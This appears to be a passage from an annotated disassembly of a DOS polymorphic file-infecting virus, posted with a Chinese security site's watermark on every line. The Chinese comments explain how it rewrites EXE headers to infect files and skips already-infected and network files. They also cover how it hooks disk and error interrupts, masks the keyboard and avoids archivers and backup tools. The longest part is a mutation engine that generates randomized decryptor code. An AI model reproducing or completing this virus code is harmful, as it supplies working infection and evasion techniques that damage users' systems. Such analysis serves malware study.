9E80:094D 3BEB        CMP  BP,BX 防黑网.www.zzfhw.com
9E80:094F 7205        JB  0956 防黑网.www.zzfhw.com
9E80:0951 83ED10      SUB  BP,+10 防黑网.www.zzfhw.com
9E80:0954 E2F7        LOOP  094D 防黑网.www.zzfhw.com
9E80:0956 83FF0F      CMP  DI,+0F     ;文件长 > 640K 不传染 防黑网.www.zzfhw.com
9E80:0959 77B9        JA  0914 防黑网.www.zzfhw.com
9E80:095B 91         XCHG  AX,CX     ;文件长低位 > E990 部分 防黑网.www.zzfhw.com
9E80:095C B104        MOV  CL,04     ;转移到 DI 防黑网.www.zzfhw.com
9E80:095E D3CF        ROR  DI,CL     ; 防黑网.www.zzfhw.com
9E80:0960 0BC0        OR  AX,AX 防黑网.www.zzfhw.com
9E80:0962 7404        JZ  0968 防黑网.www.zzfhw.com
9E80:0964 2BF8        SUB  DI,AX     ;DIx10 + BP = 文件长 防黑网.www.zzfhw.com
9E80:0966 73AC        JNB  0914 防黑网.www.zzfhw.com
9E80:0968 2B7C08      SUB  DI,[SI+08]   ;减去文件头长 防黑网.www.zzfhw.com
9E80:096B 55         PUSH  BP 防黑网.www.zzfhw.com
9E80:096C 81C5DA11     ADD  BP,11DA   ;新入口 : 11DA 防黑网.www.zzfhw.com
9E80:0970 896C14      MOV  [SI+14],BP   ;新 CS:IP 防黑网.www.zzfhw.com
9E80:0973 897C16      MOV  [SI+16],DI 防黑网.www.zzfhw.com
9E80:0976 81C50002     ADD  BP,0200   ;新 CS:IP+0200 防黑网.www.zzfhw.com
9E80:097A 896C10      MOV  [SI+10],BP   ;为新堆栈 防黑网.www.zzfhw.com
9E80:097D 897C0E      MOV  [SI+0E],DI 防黑网.www.zzfhw.com
9E80:0980 BD0080      MOV  BP,8000 防黑网.www.zzfhw.com
9E80:0983 D3FB        SAR  BX,CL     ;BX = E990,CL=4 防黑网.www.zzfhw.com
9E80:0985 8B440A      MOV  AX,[SI+0A]   ;分配最小内存 防黑网.www.zzfhw.com
9E80:0988 2BC3        SUB  AX,BX 防黑网.www.zzfhw.com
9E80:098A 7303        JNB  098F 防黑网.www.zzfhw.com
9E80:098C 89440A      MOV  [SI+0A],AX 防黑网.www.zzfhw.com
;======================================================================= 防黑网.www.zzfhw.com
9E80:098F 58         POP  AX     ;.COM 由此入 防黑网.www.zzfhw.com
9E80:0990 E83F01      CALL  0AD2     ;产生加密代码 防黑网.www.zzfhw.com
9E80:0993 55         PUSH  BP 防黑网.www.zzfhw.com
9E80:0994 9D         POPF 防黑网.www.zzfhw.com
9E80:0995 7213        JB  09AA 防黑网.www.zzfhw.com
9E80:0997 E81100      CALL  09AB     ;取系统文件表项 防黑网.www.zzfhw.com
9E80:099A 894D15      MOV  [DI+15],CX   ;文件指针移动到文件头 防黑网.www.zzfhw.com
9E80:099D 894D17      MOV  [DI+17],CX 防黑网.www.zzfhw.com
9E80:09A0 B440        MOV  AH,40 防黑网.www.zzfhw.com
9E80:09A2 BA8812      MOV  DX,1288 防黑网.www.zzfhw.com
9E80:09A5 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:09A6 1F         POP  DS 防黑网.www.zzfhw.com
9E80:09A7 E86900      CALL  0A13     ;写新文件头 18H 字节 防黑网.www.zzfhw.com
9E80:09AA C3         RET 防黑网.www.zzfhw.com
;======================================================================= 防黑网.www.zzfhw.com
;取系统文件表项于 ES:DI 防黑网.www.zzfhw.com
;返回 CY 不传染, NZ = 已传染 防黑网.www.zzfhw.com
9E80:09AB 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:09AC 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:09AD B82012      MOV  AX,1220 防黑网.www.zzfhw.com
9E80:09B0 2E8B1EC30A    MOV  BX,CS:[0AC3] 防黑网.www.zzfhw.com
9E80:09B5 CD2F        INT  2F     ;取文件表地址 防黑网.www.zzfhw.com
9E80:09B7 721D        JB  09D6 防黑网.www.zzfhw.com
9E80:09B9 B81612      MOV  AX,1216 防黑网.www.zzfhw.com
9E80:09BC 268A1D      MOV  BL,ES:[DI] 防黑网.www.zzfhw.com
9E80:09BF 80FBFF      CMP  BL,FF 防黑网.www.zzfhw.com
9E80:09C2 F5         CMC 防黑网.www.zzfhw.com
9E80:09C3 7411        JZ  09D6 防黑网.www.zzfhw.com
9E80:09C5 CD2F        INT  2F     ;取系统文件表项 防黑网.www.zzfhw.com
9E80:09C7 720D        JB  09D6 防黑网.www.zzfhw.com
9E80:09C9 06         PUSH  ES 防黑网.www.zzfhw.com
9E80:09CA 1F         POP  DS 防黑网.www.zzfhw.com
9E80:09CB F6450580     TEST  Byte Ptr [DI+05],80 防黑网.www.zzfhw.com
9E80:09CF F5         CMC       ;先设置为 CY 防黑网.www.zzfhw.com
9E80:09D0 7504        JNZ  09D6     ;远程文件不传染 防黑网.www.zzfhw.com
9E80:09D2 F6451080     TEST  Byte Ptr [DI+10],80 防黑网.www.zzfhw.com
9E80:09D6 5B         POP  BX     ;判是否已传染 防黑网.www.zzfhw.com
9E80:09D7 58         POP  AX     ;没有传染返回 NZ,NC 防黑网.www.zzfhw.com
9E80:09D8 C3         RET 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
;切换 INT 13 / INT 14 / INT 15 / INT 40 防黑网.www.zzfhw.com
;(DOS INT 与 BIOS 初始 INT 之间) 防黑网.www.zzfhw.com
9E80:09D9 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:09DA 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:09DB 52         PUSH  DX 防黑网.www.zzfhw.com
9E80:09DC 1E         PUSH  DS 防黑网.www.zzfhw.com
9E80:09DD B013        MOV  AL,13 防黑网.www.zzfhw.com
9E80:09DF BFEB13      MOV  DI,13EB 防黑网.www.zzfhw.com
9E80:09E2 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:09E3 1F         POP  DS 防黑网.www.zzfhw.com
9E80:09E4 E8DCF6      CALL  00C3     ;取中断向量 防黑网.www.zzfhw.com
9E80:09E7 8CC2        MOV  DX,ES     ;于 ES:BX 防黑网.www.zzfhw.com
9E80:09E9 871D        XCHG  BX,[DI]   ;保存于 13EB 防黑网.www.zzfhw.com
9E80:09EB FC         CLD 防黑网.www.zzfhw.com
9E80:09EC AF         SCASW 防黑网.www.zzfhw.com
9E80:09ED 87D3        XCHG  DX,BX 防黑网.www.zzfhw.com
9E80:09EF 871D        XCHG  BX,[DI] 防黑网.www.zzfhw.com
9E80:09F1 AF         SCASW 防黑网.www.zzfhw.com
9E80:09F2 8EDB        MOV  DS,BX 防黑网.www.zzfhw.com
9E80:09F4 E8DDF6      CALL  00D4     ;设置 BIOS 初始值 防黑网.www.zzfhw.com
9E80:09F7 3C15        CMP  AL,15 防黑网.www.zzfhw.com
9E80:09F9 B015        MOV  AL,15 防黑网.www.zzfhw.com
9E80:09FB 7305        JNB  0A02 防黑网.www.zzfhw.com
9E80:09FD 83C704      ADD  DI,+04 防黑网.www.zzfhw.com
9E80:0A00 EBE0        JMP  09E2 防黑网.www.zzfhw.com
9E80:0A02 B040        MOV  AL,40 防黑网.www.zzfhw.com
9E80:0A04 74DC        JZ  09E2 防黑网.www.zzfhw.com
9E80:0A06 1F         POP  DS 防黑网.www.zzfhw.com
9E80:0A07 5A         POP  DX 防黑网.www.zzfhw.com
9E80:0A08 5B         POP  BX 防黑网.www.zzfhw.com
9E80:0A09 58         POP  AX 防黑网.www.zzfhw.com
9E80:0A0A C3         RET 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
;0A0B  读文件头 18 字节到 1270 防黑网.www.zzfhw.com
;0A0E  写文件头 18 字节 防黑网.www.zzfhw.com
9E80:0A0B B43F        MOV  AH,3F 防黑网.www.zzfhw.com
9E80:0A0D 3DB440      CMP  AX,40B4 防黑网.www.zzfhw.com
9E80:0A10 BA7012      MOV  DX,1270 防黑网.www.zzfhw.com
9E80:0A13 B91800      MOV  CX,0018 防黑网.www.zzfhw.com
9E80:0A16 E8A900      CALL  0AC2 防黑网.www.zzfhw.com
9E80:0A19 7202        JB  0A1D 防黑网.www.zzfhw.com
9E80:0A1B 2BC1        SUB  AX,CX 防黑网.www.zzfhw.com
9E80:0A1D C3         RET 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
9E80:0A1E B024        MOV  AL,24    ;设置新 INT 24 防黑网.www.zzfhw.com
9E80:0A20 2EC516E713    LDS  DX,CS:[13E7] 防黑网.www.zzfhw.com
9E80:0A25 E8ACF6      CALL  00D4 防黑网.www.zzfhw.com
9E80:0A28 E421        IN  AL,21    ;屏蔽键盘 防黑网.www.zzfhw.com
9E80:0A2A 24FD        AND  AL,FD 防黑网.www.zzfhw.com
9E80:0A2C E621        OUT  21,AL 防黑网.www.zzfhw.com
9E80:0A2E C3         RET 防黑网.www.zzfhw.com
;========================================================================== 防黑网.www.zzfhw.com
9E80:0A2F 894610      MOV  [BP+10],AX 防黑网.www.zzfhw.com
9E80:0A32 9C         PUSHF 防黑网.www.zzfhw.com
9E80:0A33 8F4612      POP  [BP+12] 防黑网.www.zzfhw.com
9E80:0A36 C3         RET 防黑网.www.zzfhw.com
;========================================================================= 防黑网.www.zzfhw.com
;判断 INT 21 是否在压缩程序中调用 防黑网.www.zzfhw.com
;如果在压缩程序中调用, 则欺骗功能不使用 防黑网.www.zzfhw.com
9E80:0A37 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0A38 51         PUSH  CX 防黑网.www.zzfhw.com
9E80:0A39 56         PUSH  SI 防黑网.www.zzfhw.com
9E80:0A3A 57         PUSH  DI 防黑网.www.zzfhw.com
9E80:0A3B 06         PUSH  ES 防黑网.www.zzfhw.com
9E80:0A3C B002        MOV  AL,02 防黑网.www.zzfhw.com
9E80:0A3E 0AC0        OR  AL,AL 防黑网.www.zzfhw.com
9E80:0A40 753E        JNZ  0A80 防黑网.www.zzfhw.com
9E80:0A42 E84B00      CALL  0A90     ;取当前执行文件名 防黑网.www.zzfhw.com
9E80:0A45 268B05      MOV  AX,ES:[DI]   ;于 ES:DI 防黑网.www.zzfhw.com
9E80:0A48 3D4152      CMP  AX,5241   ; "AR" = ARJ 防黑网.www.zzfhw.com
9E80:0A4B 7433        JZ  0A80 防黑网.www.zzfhw.com
9E80:0A4D 3D4C48      CMP  AX,484C   ; "LH" = LHA 防黑网.www.zzfhw.com
9E80:0A50 742E        JZ  0A80 防黑网.www.zzfhw.com
9E80:0A52 3D504B      CMP  AX,4B50   ; "PK" = PKZIP 防黑网.www.zzfhw.com
9E80:0A55 7429        JZ  0A80     ;如果是以上文件,返回 ZR 防黑网.www.zzfhw.com
9E80:0A57 B90200      MOV  CX,0002 防黑网.www.zzfhw.com
9E80:0A5A BE860A      MOV  SI,0A86 防黑网.www.zzfhw.com
9E80:0A5D 51         PUSH  CX 防黑网.www.zzfhw.com
9E80:0A5E 57         PUSH  DI 防黑网.www.zzfhw.com
9E80:0A5F B108        MOV  CL,08 防黑网.www.zzfhw.com
9E80:0A61 2EAC        LODSB  CS: 防黑网.www.zzfhw.com
9E80:0A63 346C        XOR  AL,6C    ;判断是否 BACKUP 防黑网.www.zzfhw.com
9E80:0A65 F2         REPNZ      ;或 MODEM 防黑网.www.zzfhw.com
9E80:0A66 AE         SCASB 防黑网.www.zzfhw.com
9E80:0A67 7510        JNZ  0A79     ;0A86 及 0A8B 防黑网.www.zzfhw.com
9E80:0A69 80F903      CMP  CL,03     ;处为加密的字符串 防黑网.www.zzfhw.com
9E80:0A6C 720B        JB  0A79     ;BACK 及 MODEM 防黑网.www.zzfhw.com
9E80:0A6E B104        MOV  CL,04 防黑网.www.zzfhw.com
9E80:0A70 2EAC        LODSB  CS: 防黑网.www.zzfhw.com
9E80:0A72 346C        XOR  AL,6C 防黑网.www.zzfhw.com
9E80:0A74 7403        JZ  0A79 防黑网.www.zzfhw.com
9E80:0A76 AE         SCASB 防黑网.www.zzfhw.com
9E80:0A77 E1F7        LOOPZ  0A70 防黑网.www.zzfhw.com
9E80:0A79 BE8B0A      MOV  SI,0A8B 防黑网.www.zzfhw.com
9E80:0A7C 5F         POP  DI 防黑网.www.zzfhw.com
9E80:0A7D 59         POP  CX 防黑网.www.zzfhw.com
9E80:0A7E E0DD        LOOPNZ  0A5D 防黑网.www.zzfhw.com
9E80:0A80 07         POP  ES 防黑网.www.zzfhw.com
9E80:0A81 5F         POP  DI 防黑网.www.zzfhw.com
9E80:0A82 5E         POP  SI 防黑网.www.zzfhw.com
9E80:0A83 59         POP  CX 防黑网.www.zzfhw.com
9E80:0A84 58         POP  AX 防黑网.www.zzfhw.com
9E80:0A85 C3         RET 防黑网.www.zzfhw.com
9E80:0A86              2E 2D-2F 27 6C 21 23 28 29 21      .......... 防黑网.www.zzfhw.com
;======================================================================= 防黑网.www.zzfhw.com
;从 MCB 中取执行文件名到 ES:DI 防黑网.www.zzfhw.com
9E80:0A90 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0A91 53         PUSH  BX 防黑网.www.zzfhw.com
9E80:0A92 B462        MOV  AH,62 防黑网.www.zzfhw.com
9E80:0A94 E82E00      CALL  0AC5     ;当前 PSP 防黑网.www.zzfhw.com
9E80:0A97 4B         DEC  BX     ;执行程序的 MCB 防黑网.www.zzfhw.com
9E80:0A98 8EC3        MOV  ES,BX 防黑网.www.zzfhw.com
9E80:0A9A BF0800      MOV  DI,0008   ;MCB:0008 = 执行文件名 防黑网.www.zzfhw.com
9E80:0A9D FC         CLD 防黑网.www.zzfhw.com
9E80:0A9E 5B         POP  BX 防黑网.www.zzfhw.com
9E80:0A9F 58         POP  AX 防黑网.www.zzfhw.com
9E80:0AA0 C3         RET 防黑网.www.zzfhw.com
;================================================================== 防黑网.www.zzfhw.com
;取 DTA 地址 防黑网.www.zzfhw.com
9E80:0AA1 B42F        MOV  AH,2F 防黑网.www.zzfhw.com
9E80:0AA3 E81F00      CALL  0AC5 防黑网.www.zzfhw.com
9E80:0AA6 06         PUSH  ES 防黑网.www.zzfhw.com
9E80:0AA7 1F         POP  DS 防黑网.www.zzfhw.com
9E80:0AA8 C3         RET 防黑网.www.zzfhw.com
;================================================================== 防黑网.www.zzfhw.com
病毒执行 INT 13 ??? 防黑网.www.zzfhw.com
9E80:0AA9 E838F7      CALL  01E4 防黑网.www.zzfhw.com
9E80:0AAC 9C         PUSHF 防黑网.www.zzfhw.com
9E80:0AAD 2EFF1EEF13    CALL  FAR CS:[13EF] 防黑网.www.zzfhw.com
9E80:0AB2 E82FF7      CALL  01E4 防黑网.www.zzfhw.com
9E80:0AB5 C3         RET 防黑网.www.zzfhw.com
;=================================================================== 防黑网.www.zzfhw.com
9E80:0AB6 F6C280      TEST  DL,80 防黑网.www.zzfhw.com
9E80:0AB9 7410        JZ  0ACB 防黑网.www.zzfhw.com
9E80:0ABB 9C         PUSHF 防黑网.www.zzfhw.com
9E80:0ABC 2EFF1EEB13    CALL  FAR CS:[13EB] 防黑网.www.zzfhw.com
9E80:0AC1 C3         RET 防黑网.www.zzfhw.com
9E80:0AC2 BB0100      MOV  BX,0001 防黑网.www.zzfhw.com
9E80:0AC5 9C         PUSHF 防黑网.www.zzfhw.com
9E80:0AC6 0E         PUSH  CS 防黑网.www.zzfhw.com
9E80:0AC7 E8F5FD      CALL  08BF 防黑网.www.zzfhw.com
9E80:0ACA C3         RET 防黑网.www.zzfhw.com
9E80:0ACB 9C         PUSHF 防黑网.www.zzfhw.com
9E80:0ACC 2EFF1EF713    CALL  FAR CS:[13F7] 防黑网.www.zzfhw.com
9E80:0AD1 C3         RET 防黑网.www.zzfhw.com
;======================================================================== 防黑网.www.zzfhw.com
;  产生变型加密代码 防黑网.www.zzfhw.com
;  输入 : AX = IP 入口  BP = 0 (.COM) = 8000 (.EXE) 防黑网.www.zzfhw.com
;======================================================================== 防黑网.www.zzfhw.com
; 子程序中用到的一些数据 防黑网.www.zzfhw.com
; BP : 8-15 位用作标志  0-7 位用作寄存器是否已使用标志,一位代表一个寄存器 防黑网.www.zzfhw.com
;  BIT 8 (0100)==不执行产生随机代码子程序 防黑网.www.zzfhw.com
;  BIT 9 (0200)==产生指令时保存指令到 [1410] 防黑网.www.zzfhw.com
;  BIT 10(0400)==在变型解密算法中,CX为密匙寄存器,0C7C子程序已执行 防黑网.www.zzfhw.com
;  BIT 11(0800)==随机无效指令中不能改变 CY 标志 防黑网.www.zzfhw.com
;  BIT 12(1000)== 防黑网.www.zzfhw.com
;  BIT 13(2000)==在长度寄存器为CX时,寄存器减一子程序中CX未减 防黑网.www.zzfhw.com
;  BIT 14(4000)==????? 防黑网.www.zzfhw.com
;  BIT 15(8000)==被传染程序为 .EXE 文件 防黑网.www.zzfhw.com
; [11A3] = 密匙值 防黑网.www.zzfhw.com
; [1104] = 入口 IP 值    [1406] = 解密指针偏移 防黑网.www.zzfhw.com
; [1108] = 加密算法指令指针  [110A] = 加密算法指令结束指针 防黑网.www.zzfhw.com
; [140C] = 密匙寄存器     [140D] = 计数寄存器 防黑网.www.zzfhw.com
; [140E] = 指针寄存器之一  [140F] = 指针寄存器之二 防黑网.www.zzfhw.com
; [1410] = 上个随机指令 防黑网.www.zzfhw.com
9E80:0AD2 A30414      MOV  [1404],AX 防黑网.www.zzfhw.com
9E80:0AD5 BFDA11      MOV  DI,11DA   ;加密代码存放于 11DA 防黑网.www.zzfhw.com
9E80:0AD8 BB330E      MOV  BX,0E33   ;按随机顺序执行 防黑网.www.zzfhw.com
9E80:0ADB B9210E      MOV  CX,0E21   ;0E33 0E21 和 0E40 防黑网.www.zzfhw.com
9E80:0ADE BA400E      MOV  DX,0E40   ;产生密匙/计数/指针 防黑网.www.zzfhw.com
9E80:0AE1 BE5311      MOV  SI,1153   ;三种寄存器的原始数据 防黑网.www.zzfhw.com
9E80:0AE4 81CDEF00     OR  BP,00EF 防黑网.www.zzfhw.com
9E80:0AE8 E84506      CALL  1130     ;随机执行 防黑网.www.zzfhw.com
9E80:0AEB 57         PUSH  DI 防黑网.www.zzfhw.com
9E80:0AEC 57         PUSH  DI 防黑网.www.zzfhw.com
9E80:0AED BE9E11      MOV  SI,119E 防黑网.www.zzfhw.com
9E80:0AF0 BFA012      MOV  DI,12A0 防黑网.www.zzfhw.com
9E80:0AF3 B93500      MOV  CX,0035 防黑网.www.zzfhw.com
9E80:0AF6 F3         REPZ 防黑网.www.zzfhw.com
9E80:0AF7 A4         MOVSB 防黑网.www.zzfhw.com
9E80:0AF8 C7060814AC12  MOV  Word Ptr [1408],12AC   ;加密算法代码指针 防黑网.www.zzfhw.com
9E80:0AFE 5F         POP  DI 防黑网.www.zzfhw.com
9E80:0AFF BBA80C      MOV  BX,0CA8   ;随机执行 0CA8/0D9E/0C7C/0C57 防黑网.www.zzfhw.com
9E80:0B02 B99E0D      MOV  CX,0D9E   ;计数寄存器加一 防黑网.www.zzfhw.com
9E80:0B05 BA7C0C      MOV  DX,0C7C   ;指针寄存器加二 防黑网.www.zzfhw.com
9E80:0B08 BE570C      MOV  SI,0C57   ;指针寄存器处数据解密 防黑网.www.zzfhw.com
9E80:0B0B E82206      CALL  1130     ;随机决定是否每次改变密匙 防黑网.www.zzfhw.com
9E80:0B0E B80200      MOV  AX,0002 防黑网.www.zzfhw.com
9E80:0B11 50         PUSH  AX 防黑网.www.zzfhw.com
9E80:0B12 E85106      CALL  1166 防黑网.www.zzfhw.com
9E80:0B15 58         POP  AX 防黑网.www.zzfhw.com
9E80:0B16 7406        JZ  0B1E 防黑网.www.zzfhw.com
9E80:0B18 F7C50040     TEST  BP,4000 防黑网.www.zzfhw.com
9E80:0B1C 755C        JNZ  0B7A 防黑网.www.zzfhw.com
9E80:0B1E E84506      CALL  1166 防黑网.www.zzfhw.com
9E80:0B21 7406        JZ  0B29 防黑网.www.zzfhw.com
9E80:0B23 F7C50020     TEST  BP,2000 防黑网.www.zzfhw.com
9E80:0B27 7551        JNZ  0B7A 防黑网.www.zzfhw.com
;=========================================================================== 防黑网.www.zzfhw.com
; 测试计数寄存器分支之一: ADD R_计数,0 防黑网.www.zzfhw.com
9E80:0B29 81CD0008     OR  BP,0800   ;设置随机指令不能改变标志 CY 防黑网.www.zzfhw.com
9E80:0B2D B80200      MOV  AX,0002 防黑网.www.zzfhw.com
9E80:0B30 99         CWD       ;DX = 0 防黑网.www.zzfhw.com
9E80:0B31 E83206      CALL  1166 防黑网.www.zzfhw.com
9E80:0B34 A00D14      MOV  AL,[140D]   ;计数寄存器 防黑网.www.zzfhw.com
9E80:0B37 750F        JNZ  0B48 防黑网.www.zzfhw.com
9E80:0B39 E81E06      CALL  115A 防黑网.www.zzfhw.com
9E80:0B3C 7505        JNZ  0B43 防黑网.www.zzfhw.com
9E80:0B3E E84C04      CALL  0F8D     ;ADD R_AL,0 防黑网.www.zzfhw.com
9E80:0B41 EB37        JMP  0B7A 防黑网.www.zzfhw.com
9E80:0B43 E8E103      CALL  0F27     ;ADD R_AL,0 防黑网.www.zzfhw.com
9E80:0B46 EB32        JMP  0B7A 防黑网.www.zzfhw.com
9E80:0B48 B103        MOV  CL,03 防黑网.www.zzfhw.com
9E80:0B4A 8AE8        MOV  CH,AL 防黑网.www.zzfhw.com
9E80:0B4C D2E5        SHL  CH,CL 防黑网.www.zzfhw.com
9E80:0B4E 0AC5        OR  AL,CH     ;mm r/m 及 rrr = R_AL 防黑网.www.zzfhw.com
9E80:0B50 BB0200      MOV  BX,0002 防黑网.www.zzfhw.com
9E80:0B53 E8FE05      CALL  1154 防黑网.www.zzfhw.com
9E80:0B56 750D        JNZ  0B65 防黑网.www.zzfhw.com
9E80:0B58 0DC009      OR  AX,09C0   ;09 C0 = OR R_AL,R_AL 防黑网.www.zzfhw.com
9E80:0B5B E8FC05      CALL  115A 防黑网.www.zzfhw.com
9E80:0B5E 7510        JNZ  0B70 防黑网.www.zzfhw.com
9E80:0B60 80CC02      OR  AH,02     ;0B C0 = OR R_AL,R_AL 防黑网.www.zzfhw.com
9E80:0B63 EB0B        JMP  0B70 防黑网.www.zzfhw.com
9E80:0B65 4B         DEC  BX 防黑网.www.zzfhw.com
9E80:0B66 7505        JNZ  0B6D 防黑网.www.zzfhw.com
9E80:0B68 0DC021      OR  AX,21C0   ;21 C0 = AND R_AL,R_AL 防黑网.www.zzfhw.com
9E80:0B6B EBEE        JMP  0B5B 防黑网.www.zzfhw.com
9E80:0B6D 0DC085      OR  AX,85C0   ;85 C0 = TEST R_AL,R_AL 防黑网.www.zzfhw.com
9E80:0B70 86C4        XCHG  AL,AH     ;保存测试指令 防黑网.www.zzfhw.com
9E80:0B72 AB         STOSW 防黑网.www.zzfhw.com
9E80:0B73 81CD0018     OR  BP,1800   ;无效指令中不能改变标志 CY 防黑网.www.zzfhw.com
9E80:0B77 E8AF04      CALL  1029 防黑网.www.zzfhw.com
; 防黑网.www.zzfhw.com
9E80:0B7A 81E5FFF7     AND  BP,F7FF   ;消 0800, 可以改变 CY 防黑网.www.zzfhw.com
9E80:0B7E F7C50020     TEST  BP,2000   ;计数寄存器为 CX 时未减一 防黑网.www.zzfhw.com
9E80:0B82 741A        JZ  0B9E 防黑网.www.zzfhw.com
9E80:0B84 B0E2        MOV  AL,E2     ;E2 = LOOP 防黑网.www.zzfhw.com
9E80:0B86 F7C50010     TEST  BP,1000 防黑网.www.zzfhw.com
9E80:0B8A 7464        JZ  0BF0 防黑网.www.zzfhw.com
9E80:0B8C E8CB05      CALL  115A 防黑网.www.zzfhw.com
9E80:0B8F 755F        JNZ  0BF0 防黑网.www.zzfhw.com
9E80:0B91 48         DEC  AX     ;E1 = LOOPZ 防黑网.www.zzfhw.com
9E80:0B92 E8C505      CALL  115A 防黑网.www.zzfhw.com
9E80:0B95 752A        JNZ  0BC1 防黑网.www.zzfhw.com
9E80:0B97 48         DEC  AX     ;E0 = LOOPNZ 防黑网.www.zzfhw.com
9E80:0B98 EB56        JMP  0BF0 防黑网.www.zzfhw.com
; 使用 LOOP/LOOPNZ loop_addr 方式转 0BF0 防黑网.www.zzfhw.com
; 使用 LOOPZ next, JMP loop_addr 方式转 0BC1 防黑网.www.zzfhw.com
9E80:0B9A 75 79 7D 7F   JNZ/JNS/JGE/JG 防黑网.www.zzfhw.com
9E80:0B9E BB9A0B      MOV  BX,0B9A   ;生成跳转指令 防黑网.www.zzfhw.com
9E80:0BA1 B80300      MOV  AX,0003 防黑网.www.zzfhw.com
9E80:0BA4 E8BF05      CALL  1166 防黑网.www.zzfhw.com
9E80:0BA7 D7         XLAT 防黑网.www.zzfhw.com
9E80:0BA8 BB0200      MOV  BX,0002 防黑网.www.zzfhw.com
9E80:0BAB E8A605      CALL  1154 防黑网.www.zzfhw.com
9E80:0BAE 7540        JNZ  0BF0 防黑网.www.zzfhw.com
9E80:0BB0 803E0D1401    CMP  Byte Ptr [140D],01   ;计数寄存器为 CX 防黑网.www.zzfhw.com
9E80:0BB5 7509        JNZ  0BC0 防黑网.www.zzfhw.com
9E80:0BB7 B304        MOV  BL,04 防黑网.www.zzfhw.com
9E80:0BB9 E89805      CALL  1154 防黑网.www.zzfhw.com
9E80:0BBC 7502        JNZ  0BC0 防黑网.www.zzfhw.com
; 转 0BC0 : 使用 JNZ/JNS/JGE/JG loop 方式 防黑网.www.zzfhw.com
;====================================================================== 防黑网.www.zzfhw.com
; 分支之一: 使用 JCXZ/JZ/JS/JL/JLE next, JMP/JNZ/JNS/JGE/JG loop_addr 方式 防黑网.www.zzfhw.com
9E80:0BBE B0E4        MOV  AL,E4     ;E3 = JCXZ 防黑网.www.zzfhw.com
9E80:0BC0 48         DEC  AX     ; 防黑网.www.zzfhw.com
9E80:0BC1 AB         STOSW 防黑网.www.zzfhw.com
9E80:0BC2 3C7F        CMP  AL,7F     ;使用 JCXZ, 第二部分只用 JMP 防黑网.www.zzfhw.com
9E80:0BC4 7709        JA  0BCF 防黑网.www.zzfhw.com
9E80:0BC6 E89105      CALL  115A 防黑网.www.zzfhw.com
9E80:0BC9 7504        JNZ  0BCF 防黑网.www.zzfhw.com
9E80:0BCB 81CD0008     OR  BP,0800   ;随机指令不能改变 CY 防黑网.www.zzfhw.com
9E80:0BCF 8BF7        MOV  SI,DI 防黑网.www.zzfhw.com
9E80:0BD1 E85504      CALL  1029 防黑网.www.zzfhw.com
9E80:0BD4 8D44FE      LEA  AX,[SI-02] 防黑网.www.zzfhw.com
9E80:0BD7 2BC7        SUB  AX,DI 防黑网.www.zzfhw.com
9E80:0BD9 F6D8        NEG  AL 防黑网.www.zzfhw.com
9E80:0BDB 8844FF      MOV  [SI-01],AL 防黑网.www.zzfhw.com
9E80:0BDE F7C50008     TEST  BP,0800 防黑网.www.zzfhw.com
9E80:0BE2 B0EB        MOV  AL,EB     ;EB = JMP next_addr 防黑网.www.zzfhw.com
9E80:0BE4 740A        JZ  0BF0 防黑网.www.zzfhw.com
9E80:0BE6 B80300      MOV  AX,0003   ; 防黑网.www.zzfhw.com
9E80:0BE9 E87A05      CALL  1166 防黑网.www.zzfhw.com
9E80:0BEC BB9A0B      MOV  BX,0B9A 防黑网.www.zzfhw.com
9E80:0BEF D7         XLAT 防黑网.www.zzfhw.com
9E80:0BF0 AA         STOSB       ;跳转指令部分 防黑网.www.zzfhw.com
9E80:0BF1 58         POP  AX     ;第二部分开始指针 防黑网.www.zzfhw.com
9E80:0BF2 48         DEC  AX 防黑网.www.zzfhw.com
9E80:0BF3 2BC7        SUB  AX,DI     ;跳转偏移部分 防黑网.www.zzfhw.com
9E80:0BF5 AA         STOSB 防黑网.www.zzfhw.com
9E80:0BF6 81CDEF00     OR  BP,00EF   ;能使用全部寄存器 防黑网.www.zzfhw.com
9E80:0BFA 81E5FFF7     AND  BP,F7FF   ;清不能改变标志 CY 防黑网.www.zzfhw.com
9E80:0BFE E82804      CALL  1029     ;插入随机指令 防黑网.www.zzfhw.com
9E80:0C01 B81300      MOV  AX,0013 防黑网.www.zzfhw.com
9E80:0C04 E85F05      CALL  1166 防黑网.www.zzfhw.com
9E80:0C07 7533        JNZ  0C3C 防黑网.www.zzfhw.com
9E80:0C09 A10414      MOV  AX,[1404] 防黑网.www.zzfhw.com
9E80:0C0C 057203      ADD  AX,0372 防黑网.www.zzfhw.com
9E80:0C0F 92         XCHG  AX,DX 防黑网.www.zzfhw.com
9E80:0C10 E8ED04      CALL  1100 防黑网.www.zzfhw.com
9E80:0C13 E88B02      CALL  0EA1 防黑网.www.zzfhw.com
9E80:0C16 0DE0FF      OR  AX,FFE0 防黑网.www.zzfhw.com
9E80:0C19 E83E05      CALL  115A 防黑网.www.zzfhw.com
9E80:0C1C 7504        JNZ  0C22 防黑网.www.zzfhw.com
9E80:0C1E 86C4        XCHG  AL,AH 防黑网.www.zzfhw.com
9E80:0C20 EB23        JMP  0C45 防黑网.www.zzfhw.com
9E80:0C22 BB0200      MOV  BX,0002 防黑网.www.zzfhw.com
9E80:0C25 E82C05      CALL  1154 防黑网.www.zzfhw.com
9E80:0C28 7507        JNZ  0C31 防黑网.www.zzfhw.com
9E80:0C2A 3410        XOR  AL,10 防黑网.www.zzfhw.com
9E80:0C2C 86C4        XCHG  AL,AH 防黑网.www.zzfhw.com
9E80:0C2E AB         STOSW 防黑网.www.zzfhw.com
9E80:0C2F EB03        JMP  0C34 防黑网.www.zzfhw.com
9E80:0C31 34B0        XOR  AL,B0 防黑网.www.zzfhw.com
9E80:0C33 AA         STOSB 防黑网.www.zzfhw.com
9E80:0C34 E8F203      CALL  1029 防黑网.www.zzfhw.com
9E80:0C37 B0C3        MOV  AL,C3 防黑网.www.zzfhw.com
9E80:0C39 AA         STOSB 防黑网.www.zzfhw.com
9E80:0C3A EB0A        JMP  0C46 防黑网.www.zzfhw.com
